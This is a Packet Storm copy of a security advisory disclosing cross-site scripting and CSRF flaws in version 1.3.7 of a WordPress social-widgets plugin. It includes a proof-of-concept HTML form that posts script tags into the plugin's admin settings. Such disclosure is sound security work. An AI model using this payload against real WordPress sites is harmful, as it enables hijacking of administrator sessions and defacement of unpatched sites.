what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting
Posted Jul 28, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Facebook, Twitter, and Google+ Social Widgets plugin version 1.3.7 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 3290a2bb90bb054c2c4c266867566c028da4101297cd2c8c4f96794c20e77af9

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin 
Version: 1.3.7
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-15
Download:
- https://wordpress.org/plugins/facebook-twitter-google-social-widgets/
- https://plugins.svn.wordpress.org/facebook-twitter-google-social-widgets/
Notified WordPress: 2015-06-23
==========================================================

## Plugin description
==========================================================
Simple plug-in that displays the most important social widgets from Facebook, Twitter and Google+ below your posts. Very easy to setup: just activate

## Vulnerabilities
==========================================================

The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url). This happens on line 134 in the file SWAdmin.php

Some of the plugin settings in the admin menu are vulnerable to stored XSS. Furthermore, all settings can be set through CSRF.

PoC:
Log in as admin and submit the following request:

<form method="POST" action="[URL]/wp-admin/options-general.php?page=social-widgets-options">
<input type="text" name="sw_hidden" value="Y" required><br />
<input type="text" name="sw_facebook" value="1" required><br />
<input type="text" name="sw_twitter" value="2" required><br />
<input type="text" name="sw_google" value="3" required><br />
<input type="text" name="sw_displayonposts" value="1" required><br />
<input type="text" name="sw_displayonpages" value="1" required><br />
<input type="text" name="sw_displaybelowpost" value="1" required><br />
<input type="text" name="sw_contentfilterpriority" value="10" required><br />
<input type="text" name="sw_supportplugin" value="1" required><br />
<input type="text" name="sw_cssstyleall" value=""><script>alert(1)</script>"><br />
<input type="text" name="sw_cssstylewidget" value=""><script>alert(2)</script>"><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close